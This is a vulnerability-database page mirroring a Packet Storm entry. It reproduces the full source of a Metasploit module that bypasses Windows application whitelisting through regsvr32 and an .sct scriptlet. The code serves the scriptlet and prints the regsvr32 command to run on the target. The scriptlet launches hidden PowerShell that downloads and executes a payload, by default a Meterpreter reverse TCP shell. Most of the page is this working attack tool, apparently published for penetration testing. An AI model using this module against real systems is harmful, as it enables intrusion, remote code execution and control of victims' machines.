Lucene search
K

Regsvr32.exe (.sct) Application Whitelisting Bypass Server

🗓️ 16 Jun 2016 00:00:00Reported by Casey SmithType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 45 Views

Regsvr32.exe Application Whitelisting Bypass Server module simplifies the bypass technique by creating a web server hosting an .sct file for executing PowerShell commands

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Server',  
'Description' => %q(  
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.  
The module creates a web server that hosts an .sct file. When the user types the provided regsvr32  
command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.  
This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).  
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)  
'Trenton Ivey', # MSF Module (kn0)  
],  
'DefaultOptions' =>  
{  
'Payload' => 'windows/meterpreter/reverse_tcp'  
},  
'Targets' => [['PSH', {}]],  
'Platform' => %w(win),  
'Arch' => [ARCH_X86, ARCH_X86_64],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 19 2016',  
'References' =>  
[  
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']  
]  
))  
end  
  
  
def primer  
print_status('Run the following command on the target machine:')  
print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll")  
end  
  
  
def on_request_uri(cli, _request)  
# If the resource request ends with '.sct', serve the .sct file  
# Otherwise, serve the PowerShell payload  
if _request.raw_uri =~ /\.sct$/  
serve_sct_file  
else  
serve_psh_payload  
end  
end  
  
  
def serve_sct_file  
print_status("Handling request for the .sct file from #{cli.peerhost}")  
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl  
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)  
download_and_run = "#{ignore_cert}#{download_string}"  
psh_command = generate_psh_command_line(  
noprofile: true,  
windowstyle: 'hidden',  
command: download_and_run  
)  
data = gen_sct_file(psh_command)  
send_response(cli, data, 'Content-Type' => 'text/plain')  
end  
  
  
def serve_psh_payload  
print_status("Delivering payload to #{cli.peerhost}")  
data = cmd_psh_payload(payload.encoded,  
payload_instance.arch.first,  
remove_comspec: true,  
use_single_quotes: true  
)  
send_response(cli,data,'Content-Type' => 'application/octet-stream')  
end  
  
  
def rand_class_id  
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"  
end  
  
def gen_sct_file(command)  
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation